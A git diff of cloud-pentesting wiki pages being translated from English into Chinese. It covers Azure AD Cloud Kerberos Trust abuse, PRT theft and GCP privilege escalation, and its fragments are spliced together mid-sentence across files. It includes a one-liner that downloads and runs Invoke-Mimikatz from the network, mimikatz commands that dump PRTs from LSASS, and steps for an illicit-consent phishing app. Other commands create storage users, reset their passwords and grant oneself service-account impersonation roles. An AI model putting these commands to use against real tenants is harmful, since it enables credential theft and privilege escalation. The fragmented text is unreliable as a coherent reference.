This account contains the **Kerberos keys** used for tickets that Azure AD creates. +当与 Azure AD 建立信任时,会在 AD 中创建一个 **只读域控制器 (RODC)**。该 **RODC 计算机账户** 名为 **`AzureADKerberos$`**。此外,还有一个名为 **`krbtgt_AzureAD`** 的次级 `krbtgt` 账户。该账户包含 Azure AD 创建的 **Kerberos 密钥**。 -Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators... +因此,如果该账户被攻破,可能会伪装任何用户……尽管这并不完全正确,因为该账户被禁止为任何常见的特权 AD 组(如域管理员、企业管理员、管理员等)创建票证。 > [!CAUTION] -> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.** +> 然而,在实际场景中,会有一些特权用户不在这些组中。因此,**如果新的 krbtgt 账户被攻破,可以用来伪装他们。** ### Kerberos TGT -Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\ -Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service. +此外,当用户在 Windows 上使用混合身份进行身份验证时,**Azure AD** 将发放 **部分 Kerberos 票证以及 PRT。** TGT 是部分的,因为 **AzureAD 对用户在本地 AD 中的信息有限**(如安全标识符 (SID) 和名称)。\ +Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个部分 TGT 交换一个完整的 TGT**。 ### NTLM -As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**. +由于可能存在不支持 Kerberos 身份验证但支持 NTLM 的服务,因此可以请求一个 **使用次级 `krbtgt`** 密钥签名的 **部分 TGT**,在请求的 **PADATA** 部分中包含 **`KERB-KEY-LIST-REQ`** 字段,然后获取一个使用主 `krbtgt` 密钥签名的完整 TGT **包括响应中的 NT 哈希**。 -## Abusing Cloud Kerberos Trust to obtain Domain Admin +## 利用 Cloud Kerberos Trust 获取域管理员权限 -When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**. +当 AzureAD 生成 **部分 TGT** 时,将使用它所拥有的关于用户的详细信息。因此,如果全球管理员能够修改数据,如 **AzureAD 中用户的安全标识符和名称**,在请求该用户的 TGT 时,**安全标识符将会不同**。 -It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID. +无法通过 Microsoft Graph 或 Azure AD Graph 来做到这一点,但可以使用 **API Active Directory Connect** 用于创建和更新同步用户的功能,全球管理员可以利用该功能 **修改任何混合用户的 SAM 名称和 SID**,然后如果我们进行身份验证,就会获得一个包含修改后 SID 的部分 TGT。 -Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +请注意,我们可以使用 AADInternals 并通过 [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet 更新同步用户。 -### Attack prerequisites +### 攻击前提条件 -The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites: +攻击的成功和获得域管理员权限依赖于满足某些前提条件: -- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts. -- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication. -- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket. - - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC. - - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object. +- 通过同步 API 修改账户的能力至关重要。这可以通过拥有全球管理员角色或拥有 AD Connect 同步账户来实现。或者,混合身份管理员角色也足够,因为它授予管理 AD Connect 和建立新同步账户的能力。 +- 存在一个 **混合账户** 是必要的。该账户必须能够修改为受害者账户的详细信息,并且应可用于身份验证。 +- 必须识别出 Active Directory 中的 **目标受害者账户**。虽然攻击可以在任何已同步的账户上执行,但 Azure AD 租户必须没有复制本地安全标识符,因此需要修改一个未同步的账户以获取票证。 +- 此外,该账户应具备域管理员等效权限,但必须不属于典型的 AD 管理员组,以避免 AzureAD RODC 生成无效的 TGT。 +- 最合适的目标是 **AD Connect Sync 服务使用的 Active Directory 账户**。该账户未与 Azure AD 同步,因此其 SID 是一个可行的目标,并且由于其在同步密码哈希中的角色,固有地具有域管理员等效权限(假设密码哈希同步处于活动状态)。对于快速安装的域,该账户以 **MSOL\_** 为前缀。对于其他实例,可以通过枚举所有在域对象上拥有目录复制权限的账户来确定该账户。 -### The full attack +### 完整攻击 -Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +请查看原始文章:[https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 593b0222a..4211e2345 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,12 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**查看该技术:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) 和 [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications.

The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. -2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. **从 LSASS(本地安全授权子系统服务)中提取 PRT(主刷新令牌)**并存储以供后续使用。 +2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),有关其应用的理解,请参阅 [Pass-the-cookie attack](az-pass-the-cookie.md)。 +3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 找到。 > [!CAUTION] -> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\ -> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).** +> 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\ +> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie(检查选项 3)**。 -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +您可以在这里找到**提取这些详细信息的深入解释**:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his. - -You can use **mimikatz** to extract the PRT: +> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。 +您可以使用 **mimikatz** 提取 PRT: ```powershell mimikatz.exe Privilege::debug @@ -196,93 +175,76 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` - (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data. - +拥有此权限的攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者以特定权限(如读取(r)、写入(w)、删除(d)和列出(l)等)授予自己对存储帐户的访问。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。 ```bash az storage account local-user create \ - --account-name \ - --resource-group \ - --name \ - --permission-scope permissions=rwdl service=blob resource-name= \ - --home-directory \ - --has-ssh-key false/true # Depends on the auth method to use +--account-name \ +--resource-group \ +--name \ +--permission-scope permissions=rwdl service=blob resource-name= \ +--home-directory \ +--has-ssh-key false/true # Depends on the auth method to use ``` - ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content. - +通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户的密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可以获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。 ```bash az storage account local-user regenerate-password \ - --account-name \ - --resource-group \ - --name +--account-name \ +--resource-group \ +--name ``` - -To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect): - +要通过 SFTP 使用本地用户访问 Azure Blob Storage,您可以(您也可以使用 ssh 密钥进行连接): ```bash sftp @.blob.core.windows.net #regenerated-password ``` - ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted.

As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities. +Azure AD 的关键特性包括 **多因素身份验证** 和 **条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性,并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分,Azure AD 对于基于云的用户身份管理至关重要。 -## Enumeration +## 枚举 -### **Connection** +### **连接** {{#tabs }} {{#tab name="az cli" }} - ```bash az login #This will open the browser (if not use --use-device-code) az login -u -p #Specify user and password @@ -43,11 +42,9 @@ az find "vm" # Find vm commands az vm -h # Get subdomains az ad user list --query-examples # Get examples ``` - {{#endtab }} {{#tab name="Mg" }} - ```powershell # Login Open browser Connect-MgGraph @@ -72,11 +69,9 @@ Connect-MgGraph -AccessToken $secureToken # Find commands Find-MgGraphCommand -command *Mg* ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell Connect-AzAccount #Open browser # Using credentials @@ -98,7 +93,7 @@ Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -Accou # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force $creds = New-Object - System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password) +System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password) Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d #All the Azure AD cmdlets have the format *-AzAD* @@ -106,33 +101,29 @@ Get-Command *azad* #Cmdlets for other Azure resources have the format *Az* Get-Command *az* ``` - {{#endtab }} -{{#tab name="Raw PS" }} - +{{#tab name="原始 PS" }} ```powershell #Using management $Token = 'eyJ0eXAi..' # List subscriptions $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } +Method = 'GET' +Uri = $URI +Headers = @{ +'Authorization' = "Bearer $Token" +} } (Invoke-RestMethod @RequestParams).value # Using graph Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token} ``` - {{#endtab }} {{#tab name="curl" }} - ```bash # Request tokens to access endpoints # ARM @@ -141,11 +132,9 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017- # Vault curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```powershell Connect-AzureAD #Open browser # Using credentials @@ -157,57 +146,52 @@ Connect-AzureAD -Credential $creds ## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token ``` - {{#endtab }} {{#endtabs }} -When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**.

Here's how it might unfold: +1. **域名注册和应用托管**:攻击者注册一个类似于可信网站的域名,例如 "safedomainlogin.com"。在该域名下,创建一个子域名(例如 "companyname.safedomainlogin.com")来托管一个旨在捕获授权代码和请求访问令牌的应用程序。 +2. **在 Azure AD 中注册应用**:攻击者随后在其 Azure AD 租户中注册一个多租户应用,以目标公司的名称命名,以显得合法。他们将应用的重定向 URL 配置为指向托管恶意应用的子域名。 +3. **设置权限**:攻击者为应用设置各种 API 权限(例如 `Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`)。一旦用户授予这些权限,攻击者就可以代表用户提取敏感信息。 +4. **分发恶意链接**:攻击者制作一个包含恶意应用客户端 ID 的链接,并与目标用户分享,诱使他们授予同意。 -1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens. -2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application. -3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user. -4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent. +## 示例攻击 -## Example Attack - -1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image). - 1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default). +1. 注册一个 **新应用**。如果您使用的是被攻击目录中的用户,则只能针对当前目录,或者如果这是外部攻击(如以下图像所示),则可以针对任何目录。 +1. 还要将 **重定向 URI** 设置为您希望接收代码以获取令牌的预期 URL(默认值为 `http://localhost:8000/callback`)。

-#### Common use cases +#### 常见用例 -- Limit resource sharing based on domain. -- Limit the usage of Identity and Access Management service accounts. -- Restrict the physical location of newly created resources. -- Disable service account creation +- 根据域限制资源共享。 +- 限制身份和访问管理服务帐户的使用。 +- 限制新创建资源的物理位置。 +- 禁用服务帐户创建。
-There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.** +还有许多其他约束可以让您对组织的资源进行细粒度控制。有关**更多信息,请参见**[**所有组织政策服务约束的列表**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**。** -### **Default Organization Policies** +### **默认组织政策**
-These are the policies that Google will add by default when setting up your GCP organization: +这些是Google在设置您的GCP组织时默认添加的政策: -**Access Management Policies** +**访问管理政策** -- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications. -- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization. -- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access. -- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets. -- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys. +- **域限制联系人:** 防止将用户添加到您指定域之外的基本联系人。这限制了基本联系人仅允许您选择的域中的受管用户身份接收平台通知。 +- **域限制共享:** 防止将用户添加到您指定域之外的IAM政策。这限制了IAM政策仅允许您选择的域中的受管用户身份访问该组织内的资源。 +- **公共访问防止:** 防止Cloud Storage存储桶暴露给公众。这确保开发人员无法配置Cloud Storage存储桶以具有未经身份验证的互联网访问。 +- **统一存储桶级别访问:** 防止Cloud Storage存储桶中的对象级访问控制列表(ACL)。这通过在Cloud Storage存储桶中的所有对象上一致地应用IAM政策来简化您的访问管理。 +- **要求操作系统登录:** 在新项目中创建的虚拟机将启用操作系统登录。这使您可以使用IAM管理对实例的SSH访问,而无需创建和管理单个SSH密钥。 -**Additional security policies for service accounts** +**服务帐户的额外安全政策** -- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation. -- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials. -- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material. +- **禁用自动IAM授予:** 防止默认的App Engine和Compute Engine服务帐户在创建项目时自动获得编辑器IAM角色。这确保服务帐户在创建时不会获得过于宽松的IAM角色。 +- **禁用服务帐户密钥创建:** 防止创建公共服务帐户密钥。这有助于减少暴露持久凭据的风险。 +- **禁用服务帐户密钥上传:** 防止上传公共服务帐户密钥。这有助于减少泄露或重用密钥材料的风险。 -**Secure VPC network configuration policies** +**安全VPC网络配置政策** -- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic. +- **定义VM实例的允许外部IP:** 防止创建具有公共IP的计算实例,这可能会使其暴露于互联网流量。 -* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs. +* **禁用VM嵌套虚拟化:** 防止在Compute Engine虚拟机上创建嵌套虚拟机。这降低了拥有未监控嵌套虚拟机的安全风险。 -- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API. +- **禁用VM串行端口:** 防止对Compute Engine虚拟机的串行端口访问。这防止通过Compute Engine API向服务器的串行端口输入。 -* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases. +* **限制Cloud SQL实例上的授权网络:** 防止公共或非内部网络范围访问您的Cloud SQL数据库。 -- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses. +- **根据IP地址类型限制协议转发:** 防止对外部IP地址的VM协议转发。 -* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic. +* **限制Cloud SQL实例上的公共IP访问:** 防止创建具有公共IP的Cloud SQL实例,这可能会使其暴露于互联网流量。 -- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects. +- **限制共享VPC项目留置权移除:** 防止意外删除共享VPC主项目。 -* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability. +* **将新项目的内部DNS设置为仅区域DNS:** 防止使用服务可用性降低的遗留DNS设置。 -- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules. +- **跳过默认网络创建:** 防止自动创建默认VPC网络及相关资源。这避免了过于宽松的默认防火墙规则。 -* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access. +* **禁用VPC外部IPv6使用:** 防止创建外部IPv6子网,这可能会暴露于未经授权的互联网访问。

These are **restrictions** on the **permissions** that the token has. For example, if the token has the **`https://www.googleapis.com/auth/cloud-platform`** scope, it will have **full access** to all GCP services. However, if the token has the **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope, it will only have **read-only access** to all GCP services even if the SA has more permissions in IAM. +从GCP元数据服务泄露的SA令牌具有**访问范围**。这些是对令牌拥有的**权限**的**限制**。例如,如果令牌具有**`https://www.googleapis.com/auth/cloud-platform`**范围,它将对所有GCP服务具有**完全访问权限**。然而,如果令牌具有**`https://www.googleapis.com/auth/cloud-platform.read-only`**范围,即使SA在IAM中具有更多权限,它也只会对所有GCP服务具有**只读访问权限**。 -There is no direct way to bypass these permissions, but you could always try searching for **new credentials** in the compromised host, **find the service key** to generate an OAuth token without restriction or **jump to a different VM less restricted**. +没有直接的方法来绕过这些权限,但你可以尝试在被攻陷的主机中搜索**新凭据**,**找到服务密钥**以生成没有限制的OAuth令牌,或**跳转到一个限制较少的不同VM**。 -When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**.

This command uses your current username and the SSH keys set at the project level to attempt access. +2. **使用项目范围内的密钥SSH进入实例:** +- 在项目范围内的SSH密钥到位后,您可以SSH进入项目中的任何实例。未阻止项目范围内密钥的实例将接受SSH密钥,从而授予访问权限。 +- SSH进入实例的直接方法是使用`gcloud compute ssh [INSTANCE]`命令。此命令使用您当前的用户名和在项目级别设置的SSH密钥尝试访问。 ## References - [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md index ea10ba464..ebc1a6c57 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -6,90 +6,82 @@ ### `container.clusters.get` -This permission allows to **gather credentials for the Kubernetes cluster** using something like: - +此权限允许使用以下方式**收集Kubernetes集群的凭据**: ```bash gcloud container clusters get-credentials --zone ``` - -Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment. +在没有额外权限的情况下,凭据相当基本,因为您可以**仅列出一些资源**,但它们对于查找环境中的错误配置非常有用。 > [!NOTE] -> Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet. - -If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info.

The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes. +具有上述权限的攻击者将能够**签名格式良好的JSON Web令牌(JWT)**。与前一种方法的区别在于**我们使用signJWT方法,该方法已经期望一个JWT,而不是让Google签名包含JWT的blob**。这使得使用更简单,但您只能签名JWT,而不是任何字节。 -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py).

You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA: - +具有上述权限的攻击者将能够**向服务账户添加IAM策略**。您可以利用它来**授予自己**冒充服务账户所需的权限。在以下示例中,我们将`roles/iam.serviceAccountTokenCreator`角色授予自己,针对有趣的SA: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ - --member="user:username@domain.com" \ - --role="roles/iam.serviceAccountTokenCreator" +--member="user:username@domain.com" \ +--role="roles/iam.serviceAccountTokenCreator" # If you still have prblem grant yourself also this permission gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \ - --member="user:username@domain.com" \ - --role="roles/iam.serviceAccountUser" +--member="user:username@domain.com" \ +--role="roles/iam.serviceAccountUser" ``` - -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**。** ### `iam.serviceAccounts.actAs` -The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one. +**iam.serviceAccounts.actAs 权限** 类似于 **AWS 的 iam:PassRole 权限**。它对于执行任务至关重要,例如启动 Compute Engine 实例,因为它授予“作为”服务帐户的能力,确保安全的权限管理。如果没有这个,用户可能会获得不当访问。此外,利用 **iam.serviceAccounts.actAs** 涉及多种方法,每种方法都需要一组权限,这与其他只需要一个权限的方法形成对比。 -#### Service account impersonation +#### 服务帐户 impersonation -Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +模仿服务帐户可以非常有用,以**获得新的和更好的权限**。您可以通过三种方式[模仿另一个服务帐户](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Authentication **using RSA private keys** (covered above) -- Authorization **using Cloud IAM policies** (covered here) -- **Deploying jobs on GCP services** (more applicable to the compromise of a user account) +- 使用 RSA 私钥进行身份验证(如上所述) +- 使用 Cloud IAM 策略进行授权(在此处介绍) +- **在 GCP 服务上部署作业**(更适用于用户帐户的妥协) ### `iam.serviceAccounts.getOpenIdToken` -An attacker with the mentioned 